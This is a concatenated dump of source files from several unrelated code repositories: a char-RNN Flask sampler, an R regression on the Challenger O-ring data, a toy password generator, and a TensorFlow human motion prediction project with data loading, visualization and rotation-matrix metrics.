rnn.final_state, rnn.train], feed_dict) end = time.time() print "%s/%s (epoch %s), train_loss = %.3f, time/batch = %.3f" % ( (epoch * language_model.num_batches + batch, options.num_epochs * language_model.num_batches, epoch, train_loss, end - start)) should_save = (epoch * language_model.num_batches + batch) % options.save_every == 0 should_save |= epoch == options.num_epochs - 1 and batch == language_model.num_batches - 1 if should_save and options.checkpoint: saver.save(sess, options.checkpoint) print "[+] Saved to %s" % (options.checkpoint) @app.route("/") def sample(): sequence_length = language_model.max_length - 1 probs, state = sess.run([rnn.probs, rnn.final_state], feed_dict={ rnn.X : np.zeros([language_model.batch_size, sequence_length])}) prediction = language_model.translate(int(np.searchsorted(np.cumsum(p), np.random.rand(1)*np.sum(p))) for p in probs[:sequence_length]) print prediction return prediction app.run() print "Done!"<file_sep>import csv import pprint def from_csv(csvfile): with open(csvfile, 'r') as f: reader = csv.reader(f) return [row for row in reader]
40dcef200cbf904381a2bd94fc944362d2bd2ff4
[ "Python", "Makefile" ]
8
Python
zsouser/cablenews
bd29cbf36ee3214003f7f8445357eab2127fafd4
89813b9becf1d647b1fe9b6382dd93ed9a132568
refs/heads/master
<repo_name>jrclayton/ChallengerData<file_sep>/challenger.R setwd("~/Desktop/Challenger Data") sink("output.txt", split = TRUE, append = FALSE) challenger.data <- read.csv("~/Desktop/Challenger Data/challenger.data.csv") challenger.data nozeroes <- challenger.data[challenger.data$damaged != 0,] zeroes <- challenger.data[challenger.data$damaged == 0,] #nozeroes plot(damaged ~ temp, data = challenger.data, ylim = c(0,6), xlim = c(20,85), pch = 21 ) points(damaged ~ temp, data = zeroes, pch = 21, bg = "black") model.full <- lm(damaged ~ temp, data = challenger.data) model.full abline(model.full[[1]], lty = 2, lwd = 3, col = "red" ) model.nozeroes <- lm(damaged ~ temp, data = nozeroes) model.nozeroes abline(model.nozeroes[[1]], lty = 2, lwd = 3, col = "blue" ) sink() #dev.off() <file_sep>/README.md # ChallengerData The O-ring data from the 1986 Challenger mission We were given this as an example in a statistics course I once took. It was meant to illustrate the importance of zero-values in datasets. I wanted to recreate the diagram from "screen.png" but I don't know how to do non-linear modeling in R to create the curve. My linear regression, derived from the output of "challenger.R" is shown in "Rplot.png" If anyone out on the interwebs reads this and knows enough about nlm in R to make the curve, or even suggest a model, please do so! In the mean time, I'll get to it when I can.
15b48d6ca4b61af0e61a791d8682c802bc4a6e93
[ "Markdown", "R" ]
2
R
jrclayton/ChallengerData
03555e34ba9e6e4cd2e0d10db15cf704497180fd
b488af1d3f0a4ce5a1aa1fae17d6b9a790feaec3
refs/heads/master
<file_sep>import random as r #print(r.random()) #print(r.randint(10,30)) #print(r.randrange(10,30)) #l1 = [x for x in range(1,11)] #print(l1) #r.shuffle(l1) #print(l1) #print(r.choice(l1)) #print(r.sample(l1,3)) #Random password generator ''' ndict = {} name = input("enter username") def userCheck(name): if name in ndict.keys(): print("user already exist") return 0 else: return 1 def genchars(m): chars = "" pwd = "" l = [] for i in range(m//2): chars = chars + chr(r.randrange(67,90)) chars = chars + chr(r.randrange(97,122)) for c in chars: l.append(c) r.shuffle(l) pwd = "".join(l) return pwd #res = genchars(4) #print(res) def genNums(m): empList = [] nums = "" for i in range(m): nums = nums + str(r.randrange(0,9)) return nums #res = genNums(4) #print(res) def genPwd(username): if userCheck(name) == 0: print("user already exist") elif userCheck(name) == 1: password = genchars(4) + genNums(4) + genchars(4) + genNums(4) ndict[name] = password print("%s--%s"%(name,password)) print(ndict) return password else: print("some issue") genPwd(name) f = open("opendict.txt","w") f.write(str(ndict)) f.close() ''' userDict = {} def genPwd(name ): status = userChk(name) if(status == 1): password = <PASSWORD>Chars(4)+ randNumbers(8) + randChars(4) print "Password of "+name+" is : "+ password userDict[name] = password else : print "Error " def userChk( name ): usersList = userDict.keys() if(name in usersList): print " User " +name+" already exist " return 0 else: return 1 def randChars(length): chars = [] pwdStr = "" for i in range(1,length//2 +1): a = r.randint(67,90) b = r.randint(97,122) chars.append(chr(a)) chars.extend(list(chr(b))) r.shuffle(chars) for char in chars: pwdStr =pwdStr+char return pwdStr def randNumbers(length): nums = [] pwdNum = "" for i in range(1,length): n = r.randint(0,9) nums .append(str(n)) r.shuffle(nums) for num in nums: pwdNum =pwdNum+num return pwdNum genPwd("<PASSWORD>") genPwd("<PASSWORD>") genPwd("<PASSWORD>") f = open("opendict.txt","w") f.write(str(userDict)) f.close()
1517fd3f2045ea27a9589150df53fe42a1fd413d
[ "Python" ]
1
Python
amukherjee01/PythonFiles
24d4009f5aa3711255540d8e83339f1dd2667fac
8131cc8f1d6ee10f3d4860ca9d5b676262c8b301
refs/heads/main
<repo_name>ejackson007/text_replacement<file_sep>/main.py import sqlite3 as sl import os.path from pynput.keyboard import Key, Listener import pyautogui from easygui import multenterbox reserved = ["new", "delete", "modify", "view_all"] if not os.path.exists("replacements.db"): con = sl.connect("replacements.db") sql = 'INSERT INTO REPLACEMENTS (short, replace) values (?, ?)' data = [("name", "<NAME>"), ("@@", "<EMAIL>")] with con: con.execute(""" CREATE TABLE REPLACEMENTS ( short TEXT, replace TEXT ); """) con.executemany(sql, data) macro_start = "#" macro_end = Key.space typed = [] listening = False def on_press(key): global typed global listening #format to char key_str = str(key).replace('\'', '') #begin the word if key_str == macro_start: typed = [] listening = True if listening: if key_str != macro_start and len(key_str) == 1: typed.append(key_str) #print(typed) if key == macro_end: candidate = "" candidate = candidate.join(typed) if candidate != "": if candidate not in reserved: con = sl.connect("replacements.db") with con: replace = con.execute( f"SELECT replace FROM REPLACEMENTS WHERE short='{candidate}'" ) pyautogui.press('backspace', presses=len(candidate) + 2) # # + word + " " #gets returned as a tuple, so we have to extract the first value pyautogui.typewrite([row[0] for row in replace][0]) listening = False else: if candidate == "new": create_new() def create_new(): msg = "Create New Shortcut" title = "Create New Shortcut" fieldNames = ["Shortcut", "Expansion"] fieldValues = multenterbox(msg, title, fieldNames) con = sl.connect("replacements.db") with con: con.execute(f""" INSERT INTO REPLACEMENTS(short, replace) SELECT {fieldValues[0]}, {fieldValues[1]} WHERE NOT EXISTS(SELECT 1 FROM REPLACEMENTS WHERE short = {fieldValues[0]}); """) pyautogui.press('backspace', presses=5) create_new() with Listener(on_press=on_press) as listener: listener.join() <file_sep>/README.md # text_replacement ## programmable text replacement Most phones have a built in function now where you can type one thing, and it be autocorrected to another. For example: - Type: omw - Replacement: On My Way This can be really powerful, however i very rarely use it on my phone for things that I type, but there are many cases on my computer where I type the same things, and there is no built in way to do this. There are apps that will do this for you like Typinator that are really powerful, however they all have a paywall to them. Hopefully this will be able to mimic those programs as well as be Open Source. ## Features | feature | progress | | ------------------------------ | -------- | | text replacement | started | | local database | to start | | create new replacements in app | to start |
a33ff7da6e8181929812f8cab95826cf98340d41
[ "Markdown", "Python" ]
2
Python
ejackson007/text_replacement
202def57873aec7ddbc33697ab8804e5253395f1
b98e96c7dfec1eede17fe8b5ecb2ba029df64d99
refs/heads/master
<file_sep>"""Copyright (c) 2019 AIT Lab, ETH Zurich, <NAME>, <NAME> Students and holders of copies of this code, accompanying datasets, and documentation, are not allowed to copy, distribute or modify any of the mentioned materials beyond the scope and duration of the Machine Perception course projects. That is, no partial/full copy nor modification of this code and accompanying data should be made publicly or privately available to current/future students or other parties. """ from setuptools import setup, find_packages """Setup module for project.""" setup( name='mp19-project4-skeleton', version='0.2', description='Skeleton code for 2019 Machine Perception Human Motion Prediction project.', author='<NAME>', author_email='<EMAIL>', packages=find_packages(exclude=[]), python_requires='>=3.6', install_requires=[ # Add external libraries here. 'tensorflow-gpu==1.12.0', 'numpy', 'matplotlib', 'pandas', 'opencv-python', ], )<file_sep>"""Copyright (c) 2019 AIT Lab, ETH Zurich, <NAME>, <NAME> Students and holders of copies of this code, accompanying datasets, and documentation, are not allowed to copy, distribute or modify any of the mentioned materials beyond the scope and duration of the Machine Perception course projects. That is, no partial/full copy nor modification of this code and accompanying data should be made publicly or privately available to current/future students or other parties. """ import tensorflow as tf import numpy as np import os import functools from pp_utils import rot_mats_to_angle_axis_cv2 from constants import Constants as C class Dataset(object): """ A wrapper class around tf.data.Dataset API. """ def __init__(self, data_path, meta_data_path, batch_size, shuffle, **kwargs): self.tf_data = None self.data_path = data_path self.batch_size = batch_size self.shuffle = shuffle # Load statistics stored in the meta-data file. self.meta_data = self.load_meta_data(meta_data_path) # A scalar mean and standard deviation computed over the entire training set self.mean_all = self.meta_data['mean_all'] # (1, 1) self.var_all = self.meta_data['var_all'] # (1, 1) # A scalar mean and standard deviation per degree of freedom computed over the entire training set self.mean_channel = self.meta_data['mean_channel'] # (135, ) self.var_channel = self.meta_data['var_channel'] # (135, ) # Do some preprocessing. self.tf_data_transformations() self.tf_data_to_model() # Intialize iterator that loops over the data. self.iterator = self.tf_data.make_initializable_iterator() self.tf_samples = self.iterator.get_next() def load_meta_data(self, meta_data_path): """ Loads *.npz meta-data file given the path. Args: meta_data_path: Path to the meta-data file. Returns: Meta-data dictionary or False if it is not found. """ if not meta_data_path or not os.path.exists(meta_data_path): print("Meta-data not found.") return False else: return np.load(meta_data_path, allow_pickle=True)['stats'].tolist() def tf_data_transformations(self): """Loads the raw data and applies some pre-processing.""" raise NotImplementedError('Subclass must override this method.') def tf_data_to_model(self): """Converts the data into the format that a model expects. Creates input, target, sequence_length, etc.""" raise NotImplementedError('Subclass must override this method.') def get_iterator(self): return self.iterator def get_tf_samples(self): return self.tf_samples class TFRecordMotionDataset(Dataset): """ Dataset class for motion samples stored as TFRecord files. """ def __init__(self, data_path, meta_data_path, batch_size, shuffle, **kwargs): # Size of windows to be extracted. self.extract_windows_of = kwargs.get("extract_windows_of", 0) # Whether to extract windows randomly or from the beginning of the sequence. self.extract_random_windows = kwargs.get("extract_random_windows", True) # If the sequence is shorter than this, it will be ignored. self.length_threshold = kwargs.get("length_threshold", self.extract_windows_of) # Number of parallel threads accessing the data. self.num_parallel_calls = kwargs.get("num_parallel_calls", 16) self.to_angles = kwargs.get("to_angles", False) self.standardization = kwargs.get("standardization", False) super(TFRecordMotionDataset, self).__init__(data_path, meta_data_path, batch_size, shuffle, **kwargs) def tf_data_transformations(self): """ Loads the raw data and applies some preprocessing. """ tf_data_opt = tf.data.Options() tf_data_opt.experimental_autotune = True # Gather all tfrecord filenames and load them in parallel. self.tf_data = tf.data.TFRecordDataset.list_files(self.data_path, seed=C.SEED, shuffle=self.shuffle) self.tf_data = self.tf_data.with_options(tf_data_opt) self.tf_data = self.tf_data.apply( tf.data.experimental.parallel_interleave(tf.data.TFRecordDataset, cycle_length=self.num_parallel_calls, block_length=1, sloppy=self.shuffle)) # Function that maps the tfrecords to a dictionary self.tf_data = self.tf_data.map( functools.partial(self._parse_single_tfexample_fn), num_parallel_calls=self.num_parallel_calls) # Makes everything faster. self.tf_data = self.tf_data.prefetch(self.batch_size*10) # Maybe shuffle. if self.shuffle: self.tf_data = self.tf_data.shuffle(self.batch_size*10) # If you want to do some pre-processing on the entire input sequence (i.e. before we extract windows), # here would be a good idea (disabled for now) if self.standardization: self.tf_data = self.tf_data.map(functools.partial(self._standardization, mean=self.mean_channel, var=self.var_channel, to_angles=self.to_angles), num_parallel_calls=self.num_parallel_calls) # Maybe extract windows if self.extract_windows_of > 0: # Make sure input pose is at least as big as the requested window. self.tf_data = self.tf_data.filter(functools.partial(self._pp_filter)) if self.extract_random_windows: # Extract a random window from somewhere in the sequence. Useful for training. self.tf_data = self.tf_data.map(functools.partial(self._pp_get_windows_randomly), num_parallel_calls=self.num_parallel_calls) else: # Extract one window from the beginning of the sequence. Useful for validation and test. self.tf_data = self.tf_data.map(functools.partial(self._pp_get_windows_from_beginning), num_parallel_calls=self.num_parallel_calls) # Set the feature size explicitly, otherwise it will be unknown in the model class. self.tf_data = self.tf_data.map(functools.partial(self._pp_set_feature_size), num_parallel_calls=self.num_parallel_calls) # If you want to do some pre-processing on the extracted windows, here is the place to do it. def tf_data_to_model(self): """Converts the data into the format that a model expects. Creates input, target, sequence_length, etc.""" # Convert to model input format using our custom function. self.tf_data = self.tf_data.map(functools.partial(self._to_model_inputs), num_parallel_calls=self.num_parallel_calls) # Pad the sequences if necessary. self.tf_data = self.tf_data.padded_batch(self.batch_size, padded_shapes=self.tf_data.output_shapes) # Speedup. self.tf_data = self.tf_data.prefetch(2) # UNCOMMENT when running on Leonhard self.tf_data = self.tf_data.apply(tf.data.experimental.prefetch_to_device('/device:GPU:0')) def _pp_filter(self, sample): """Filter out samples that are smaller then the required window size.""" return tf.shape(sample["poses"])[0] >= self.length_threshold def _pp_get_windows_randomly(self, sample): """Extract a random window from somewhere in the sequence.""" start = tf.random_uniform((1, 1), minval=0, maxval=tf.shape(sample["poses"])[0]-self.extract_windows_of+1, dtype=tf.int32)[0][0] end = tf.minimum(start+self.extract_windows_of, tf.shape(sample["poses"])[0]) sample["poses"] = sample["poses"][start:end, :] sample["shape"] = tf.shape(sample["poses"]) return sample def _pp_get_windows_from_beginning(self, sample): """Extract window from the beginning of the sequence.""" sample["poses"] = sample["poses"][0:self.extract_windows_of, :] sample["shape"] = tf.shape(sample["poses"]) return sample def _pp_set_feature_size(self, sample): """Set the shape of the poses explicitly.""" # This is required as otherwise the last dimension of the batch is unknown, which is a problem for the model. seq_len = sample["poses"].get_shape().as_list()[0] sample["poses"].set_shape([seq_len, self.mean_channel.shape[0]]) return sample @staticmethod def _parse_single_tfexample_fn(proto): """ Transforms a sample read from a tfrecord file into a dictionary. Args: proto: The input sample read from a tfrecord file. Returns: A dictionary with keys 'poses' and 'file_id' containing the respective data. """ feature_to_type = { "file_id": tf.FixedLenFeature([], dtype=tf.string), "shape": tf.FixedLenFeature([2], dtype=tf.int64), "poses": tf.VarLenFeature(dtype=tf.float32), } # Reshape the flattened poses to their original shape. parsed_features = tf.parse_single_example(proto, feature_to_type) parsed_features["poses"] = tf.reshape(tf.sparse.to_dense(parsed_features["poses"]), parsed_features["shape"]) return parsed_features @staticmethod def _to_model_inputs(tf_sample_dict): """ Transforms a TFRecord sample into a more general sample representation where we use global keys to represent the required fields by the models. Args: tf_sample_dict: The sample as loaded from the tfrecord files, as a dictionary. Returns: A dictionary that is more compatible with what the models expect as input. """ model_sample = dict() model_sample[C.BATCH_SEQ_LEN] = tf_sample_dict["shape"][0] model_sample[C.BATCH_INPUT] = tf_sample_dict["poses"] model_sample[C.BATCH_TARGET] = tf_sample_dict["poses"] model_sample[C.BATCH_ID] = tf_sample_dict["file_id"] return model_sample @staticmethod def _pp_rot_mats_to_angle_axis(tf_sample_dict): """ Placeholder for custom pre-processing. Args: tf_sample_dict: The dictionary returned by `_parse_single_tfexample_fn`. Returns: The same dictionary, but pre-processed. """ def _my_np_func(rot_mats_tensor): """ Args: rot_mats_tensor # (num_poses, 135) Returns: angle_axis_tensor # (num_poses, 45) """ angle_axis_tensor = rot_mats_to_angle_axis_cv2(rot_mats_tensor) return angle_axis_tensor processed = tf.py_func(_my_np_func, [tf_sample_dict["poses"]], tf.float32) # processed = tf.py_function(_my_np_func, [tf_sample_dict["poses"]], tf.float32) # Set the shape on the output of `py_func` again explicitly, otherwise some functions might complain later on. processed.set_shape([None, 45]) # Update the sample dict and return it. model_sample = tf_sample_dict model_sample["poses"] = processed model_sample["shape"] = tf.shape(processed) return model_sample @staticmethod def _standardization(tf_sample_dict, mean, var, to_angles): """ Placeholder for custom pre-processing. Args: tf_sample_dict: The dictionary returned by `_parse_single_tfexample_fn`. Returns: The same dictionary, but pre-processed. """ def _standardize(p): p = (p - mean)/np.sqrt(var) p = p.astype(np.float32) return p # A useful function provided by TensorFlow is `tf.py_func`. It wraps python functions so that they can # be used inside TensorFlow. This means, you can program something in numpy and then use it as a node # in the computational graph. processed = tf.py_func(_standardize, [tf_sample_dict["poses"]], tf.float32) # Set the shape on the output of `py_func` again explicitly, otherwise some functions might complain later on. if to_angles: processed.set_shape([None, 45]) else: processed.set_shape([None, 135]) # Update the sample dict and return it. model_sample = tf_sample_dict model_sample["poses"] = processed model_sample["shape"] = tf.shape(processed) return model_sample <file_sep>"""Copyright (c) 2019 AIT Lab, ETH Zurich, <NAME>, <NAME> Students and holders of copies of this code, accompanying datasets, and documentation, are not allowed to copy, distribute or modify any of the mentioned materials beyond the scope and duration of the Machine Perception course projects. That is, no partial/full copy nor modification of this code and accompanying data should be made publicly or privately available to current/future students or other parties. """ import os import subprocess import shutil import numpy as np from matplotlib import pyplot as plt, animation as animation from mpl_toolkits.mplot3d import Axes3D from motion_metrics import get_closest_rotmat from motion_metrics import is_valid_rotmat np.random.seed(0) _prop_cycle = plt.rcParams['axes.prop_cycle'] _colors = _prop_cycle.by_key()['color'] class Visualizer(object): """ Helper class to visualize SMPL joint angles parameterized as rotation matrices. """ def __init__(self, fk_engine, video_path=None): self.fk_engine = fk_engine self.video_path = video_path self.is_sparse = True self.expected_n_input_joints = len(self.fk_engine.major_joints) if self.is_sparse else self.fk_engine.n_joints def visualize_with_gt(self, seed, prediction, target, title): """ Visualize prediction and ground truth side by side. Args: seed: A np array of shape (seed_seq_length, n_joints*dof) prediction: A np array of shape (target_seq_length, n_joints*dof) target: A np array of shape (target_seq_length, n_joints*dof) title: Title of the plot """ self.visualize_rotmat(seed, prediction, target, title) def visualize(self, seed, prediction, title): """ Visualize prediction only. Args: seed: A np array of shape (seed_seq_length, n_joints*dof) prediction: A np array of shape (target_seq_length, n_joints*dof) title: Title of the plot """ self.visualize_rotmat(seed, prediction, title=title) def visualize_rotmat(self, seed, prediction, target=None, title=''): def _to_positions(angles_): full_seq = np.concatenate([seed, angles_], axis=0) # Make sure the rotations are valid. full_seq_val = np.reshape(full_seq, [-1, n_joints, 3, 3]) full_seq = get_closest_rotmat(full_seq_val) full_seq = np.reshape(full_seq, [-1, n_joints * dof]) # Check that rotation matrices are valid. full_are_valid = is_valid_rotmat(np.reshape(full_seq, [-1, n_joints, 3, 3])) assert full_are_valid, 'rotation matrices are not valid rotations' # Compute positions. if self.is_sparse: full_seq_pos = self.fk_engine.from_sparse(full_seq, return_sparse=False) # (N, full_n_joints, 3) else: full_seq_pos = self.fk_engine.from_rotmat(full_seq) # Swap y and z because SMPL defines y to be up. full_seq_pos = full_seq_pos[..., [0, 2, 1]] return full_seq_pos assert seed.shape[-1] == prediction.shape[-1] == self.expected_n_input_joints * 9 n_joints = self.expected_n_input_joints dof = 9 pred_pos = _to_positions(prediction) positions = [pred_pos] colors = [_colors[0]] titles = ['prediction'] if target is not None: assert prediction.shape[-1] == target.shape[-1] assert prediction.shape[0] == target.shape[0] targ_pos = _to_positions(target) positions.append(targ_pos) colors.append(_colors[1]) titles.append('target') visualize_positions(positions=positions, colors=colors, titles=titles, fig_title=title, parents=self.fk_engine.parents, change_color_after_frame=(seed.shape[0], None), video_path=self.video_path) def visualize_positions(positions, colors, titles, fig_title, parents, change_color_after_frame=None, overlay=False, fps=60, video_path=None): """ Visualize motion given 3D positions. Can visualize several motions side by side. If the sequence lengths don't match, all animations are displayed until the shortest sequence length. Args: positions: A list of np arrays in shape (seq_length, n_joints, 3) giving the 3D positions per joint and frame. colors: List of color for each entry in `positions`. titles: List of titles for each entry in `positions`. fig_title: Title for the entire figure. parents: Skeleton structure. fps: Frames per second. change_color_after_frame: After this frame id, the color of the plot is changed (for each entry in `positions`). overlay: If true, all entries in `positions` are plotted into the same subplot. video_path: If not None, the animation is saved as a movie instead of shown interactively. """ seq_length = np.amin([pos.shape[0] for pos in positions]) n_joints = positions[0].shape[1] pos = positions # create figure with as many subplots as we have skeletons fig = plt.figure(figsize=(12, 6)) plt.clf() n_axes = 1 if overlay else len(pos) axes = [fig.add_subplot(1, n_axes, i + 1, projection='3d') for i in range(n_axes)] fig.suptitle(fig_title) # create point object for every bone in every skeleton all_lines = [] for i, joints in enumerate(pos): idx = 0 if overlay else i ax = axes[idx] lines_j = [ ax.plot(joints[0:1, n, 0], joints[0:1, n, 1], joints[0:1, n, 2], '-o', markersize=2.0, color=colors[i])[0] for n in range(1, n_joints)] all_lines.append(lines_j) ax.set_title(titles[i]) # dirty hack to get equal axes behaviour min_val = np.amin(pos[0], axis=(0, 1)) max_val = np.amax(pos[0], axis=(0, 1)) max_range = (max_val - min_val).max() Xb = 0.5 * max_range * np.mgrid[-1:2:2, -1:2:2, -1:2:2][0].flatten() + 0.5 * (max_val[0] + min_val[0]) Yb = 0.5 * max_range * np.mgrid[-1:2:2, -1:2:2, -1:2:2][1].flatten() + 0.5 * (max_val[1] + min_val[1]) Zb = 0.5 * max_range * np.mgrid[-1:2:2, -1:2:2, -1:2:2][2].flatten() + 0.5 * (max_val[2] + min_val[2]) for ax in axes: ax.set_aspect('equal') # ax.axis('off') for xb, yb, zb in zip(Xb, Yb, Zb): ax.plot([xb], [yb], [zb], 'w') ax.set_xlabel('X') ax.set_ylabel('Y') ax.set_zlabel('Z') ax.view_init(elev=0, azim=-56) def on_move(event): # find which axis triggered the event source_ax = None for i in range(len(axes)): if event.inaxes == axes[i]: source_ax = i break # transfer rotation and zoom to all other axes if source_ax is None: return for i in range(len(axes)): if i != source_ax: axes[i].view_init(elev=axes[source_ax].elev, azim=axes[source_ax].azim) axes[i].set_xlim3d(axes[source_ax].get_xlim3d()) axes[i].set_ylim3d(axes[source_ax].get_ylim3d()) axes[i].set_zlim3d(axes[source_ax].get_zlim3d()) fig.canvas.draw_idle() c1 = fig.canvas.mpl_connect('motion_notify_event', on_move) fig_text = fig.text(0.05, 0.05, '') def update_frame(num, positions, lines, parents, colors): for l in range(len(positions)): k = 0 pos = positions[l] points_j = lines[l] for i in range(1, len(parents)): a = pos[num, i] b = pos[num, parents[i]] p = np.vstack([b, a]) points_j[k].set_data(p[:, :2].T) points_j[k].set_3d_properties(p[:, 2].T) if change_color_after_frame and change_color_after_frame[l] and num >= change_color_after_frame[l]: points_j[k].set_color(_colors[2]) else: points_j[k].set_color(colors[l]) k += 1 time_passed = '{:>.2f} seconds passed'.format(1/60.0*num) fig_text.set_text(time_passed) # create the animation object, for animation to work reference to this object must be kept line_ani = animation.FuncAnimation(fig, update_frame, seq_length, fargs=(pos, all_lines, parents, colors + [colors[0]]), interval=1000/fps) if video_path is None: # interactive plt.show() else: # save to video file print('saving video to {}'.format(video_path)) save_animation(fig, seq_length, update_frame, [pos, all_lines, parents, colors + [colors[0]]], video_path=video_path) plt.close() def save_animation(fig, seq_length, update_func, update_func_args, video_path, start_recording=0, end_recording=None, fps_in=60, fps_out=30): """ Save animation as a video. This requires ffmpeg to be installed. Args: fig: Figure where animation is displayed. seq_length: Total length of the animation. update_func: Update function that is driving the animation. update_func_args: Arguments for `update_func`. video_path: Where to store the video. start_recording: Frame index where to start recording. end_recording: Frame index where to stop recording (defaults to `seq_length`, exclusive). fps_in: Input FPS. fps_out: Output FPS. """ tmp_path = os.path.join(video_path, "tmp_frames") # Cleanup. if os.path.exists(tmp_path): shutil.rmtree(tmp_path, ignore_errors=True) os.makedirs(tmp_path) start_frame = start_recording end_frame = end_recording or seq_length # Save all the frames into the temp folder. for j in range(start_frame, end_frame): update_func(j, *update_func_args) fig.savefig(os.path.join(tmp_path, 'frame_{:0>4}.{}'.format(j, "png")), dip=1000) # Get unique movie name. counter = 0 movie_name = os.path.join(video_path, "vid{}.avi".format(counter)) while os.path.exists(movie_name): counter += 1 movie_name = os.path.join(video_path, "vid{}.avi".format(counter)) # Create the movie from the stored files using ffmpeg. command = ['ffmpeg', '-start_number', str(start_frame), '-framerate', str(fps_in), # input framerate, must be this early, otherwise it is ignored '-r', str(fps_out), # output framerate '-loglevel', 'panic', '-i', os.path.join(tmp_path, 'frame_%04d.png'), '-c:v', 'ffv1', '-pix_fmt', 'yuv420p', '-y', movie_name] FNULL = open(os.devnull, 'w') subprocess.Popen(command, stdout=FNULL, shell=True).wait() FNULL.close() # Cleanup. shutil.rmtree(tmp_path, ignore_errors=True) def _get_random_sample(tfrecords_path, means, vars, n_samples=10): """Return `n_samples` many random samples from the tfrecords found unter `tfrecords_path`.""" def _parse_tf_example(proto): feature_to_type = { "file_id": tf.FixedLenFeature([], dtype=tf.string), "shape": tf.FixedLenFeature([2], dtype=tf.int64), "poses": tf.VarLenFeature(dtype=tf.float32), } parsed_features = tf.parse_single_example(proto, feature_to_type) parsed_features["poses"] = tf.reshape(tf.sparse.to_dense(parsed_features["poses"]), parsed_features["shape"]) return parsed_features tf_data = tf.data.TFRecordDataset.list_files(tfrecords_path) tf_data = tf_data.interleave(tf.data.TFRecordDataset, cycle_length=4, block_length=1) tf_data = tf_data.map(functools.partial(_parse_tf_example), 4) iterator = tf_data.make_one_shot_iterator() samples = [] counter = 0 for s in iterator: if counter >= n_samples: break # stand = (s["poses"].numpy()-means)/np.sqrt(vars) # destand = stand*np.sqrt(vars)+means # samples.append(destand) samples.append(s["poses"].numpy()) counter += 1 return samples if __name__ == '__main__': import tensorflow as tf import functools from fk import SMPLForwardKinematics # You will need a rather new version of TensorFlow to use eager execution. tf.enable_eager_execution() # Where the data is stored. data_path = "./data/test/poses-?????-of-?????" # data_path = "/cluster/project/infk/hilliges/lectures/mp19/project4/validation/poses-?????-of-?????" meta_data_path = "./data/training/stats.npz" meta = np.load(meta_data_path, allow_pickle=True)['stats'].tolist() # Get some random samples. samples = _get_random_sample(data_path, meta["mean_channel"], meta["var_channel"], n_samples=5) video_path = None # If we set the video path, the animations will be saved to video instead of shown interactively. # video_path = os.environ['HOME'] if 'HOME' in os.environ else './' # video_path = os.path.join(video_path, "videos") # Visualize each of them. visualizer = Visualizer(SMPLForwardKinematics(), video_path=video_path) for i, sample in enumerate(samples): visualizer.visualize(sample[:120], sample[120:], 'random validation sample {}'.format(i)) <file_sep>"""Copyright (c) 2019 AIT Lab, ETH Zurich, <NAME>, <NAME> Students and holders of copies of this code, accompanying datasets, and documentation, are not allowed to copy, distribute or modify any of the mentioned materials beyond the scope and duration of the Machine Perception course projects. That is, no partial/full copy nor modification of this code and accompanying data should be made publicly or privately available to current/future students or other parties. """ import numpy as np import cv2 import tensorflow as tf import copy from fk import SMPL_MAJOR_JOINTS from fk import SMPL_NR_JOINTS from fk import SMPL_PARENTS from fk import sparse_to_full from fk import local_rot_to_global def eye(n, batch_shape): iden = np.zeros(np.concatenate([batch_shape, [n, n]])) iden[..., 0, 0] = 1.0 iden[..., 1, 1] = 1.0 iden[..., 2, 2] = 1.0 return iden def is_valid_rotmat(rotmats, thresh=1e-6): """ Checks that the rotation matrices are valid, i.e. R*R' == I and det(R) == 1 Args: rotmats: A np array of shape (..., 3, 3). thresh: Numerical threshold. Returns: True if all rotation matrices are valid, False if at least one is not valid. """ # check we have a valid rotation matrix rotmats_t = np.transpose(rotmats, tuple(range(len(rotmats.shape[:-2]))) + (-1, -2)) is_orthogonal = np.all(np.abs(np.matmul(rotmats, rotmats_t) - eye(3, rotmats.shape[:-2])) < thresh) det_is_one = np.all(np.abs(np.linalg.det(rotmats) - 1.0) < thresh) return is_orthogonal and det_is_one def get_closest_rotmat(rotmats): """ Finds the rotation matrix that is closest to the inputs in terms of the Frobenius norm. For each input matrix it computes the SVD as R = USV' and sets R_closest = UV'. Additionally, it is made sure that det(R_closest) == 1. Args: rotmats: np array of shape (..., 3, 3). Returns: A numpy array of the same shape as the inputs. """ u, s, vh = np.linalg.svd(rotmats) r_closest = np.matmul(u, vh) # if the determinant of UV' is -1, we must flip the sign of the last column of u det = np.linalg.det(r_closest) # (..., ) iden = eye(3, det.shape) iden[..., 2, 2] = np.sign(det) r_closest = np.matmul(np.matmul(u, iden), vh) return r_closest def angle_diff(predictions, targets): """ Computes the angular distance between the target and predicted rotations. We define this as the angle that is required to rotate one rotation into the other. This essentially computes || log(R_diff) || where R_diff is the difference rotation between prediction and target. Args: predictions: np array of predicted joint angles represented as rotation matrices, i.e. in shape (..., n_joints, 3, 3) targets: np array of same shape as `predictions` Returns: The geodesic distance for each joint as an np array of shape (..., n_joints) """ assert predictions.shape[-1] == predictions.shape[-2] == 3 assert targets.shape[-1] == targets.shape[-2] == 3 ori_shape = predictions.shape[:-2] preds = np.reshape(predictions, [-1, 3, 3]) targs = np.reshape(targets, [-1, 3, 3]) # compute R1 * R2.T, if prediction and target match, this will be the identity matrix r = np.matmul(preds, np.transpose(targs, [0, 2, 1])) # convert `r` to angle-axis representation and extract the angle, which is our measure of difference between # the predicted and target orientations angles = [] for i in range(r.shape[0]): aa, _ = cv2.Rodrigues(r[i]) angles.append(np.linalg.norm(aa)) angles = np.array(angles) return np.reshape(angles, ori_shape) class MetricsEngine(object): """ Compute and aggregate various motion metrics. It keeps track of the metric values per frame, so that we can evaluate them for different sequence lengths. It assumes that inputs are in rotation matrix format. """ def __init__(self, target_lengths): """ Initializer. Args: target_lengths: List of target sequence lengths that should be evaluated. """ self.target_lengths = target_lengths self.all_summaries_op = None self.n_samples = 0 self._should_call_reset = False # a guard to avoid stupid mistakes self.metrics_agg = {"joint_angle": None} self.summaries = {k: {t: None for t in target_lengths} for k in self.metrics_agg} def reset(self): """ Reset all metrics. """ self.metrics_agg = {"joint_angle": None} self.n_samples = 0 self._should_call_reset = False # now it's again safe to compute new values def create_summaries(self): """ Create placeholders and summary ops for the joint angle metric and target length that we want to evaluate. """ for m in self.summaries: for t in self.summaries[m]: assert self.summaries[m][t] is None # placeholder to feed metric value pl = tf.placeholder(tf.float32, name="{}_{}_summary_pl".format(m, t)) # summary op to store in tensorboard smry = tf.summary.scalar(name="{}/until_{}".format(m, t), tensor=pl, collections=["all_metrics_summaries"]) # store as tuple (summary, placeholder) self.summaries[m][t] = (smry, pl) # for convenience, so we don't have to list all summaries we want to request self.all_summaries_op = tf.summary.merge_all('all_metrics_summaries') def get_summary_feed_dict(self, final_metrics): """ Compute the joint angle metric for the target sequence lengths and return the feed dict that can be used in a call to `sess.run` to retrieve the 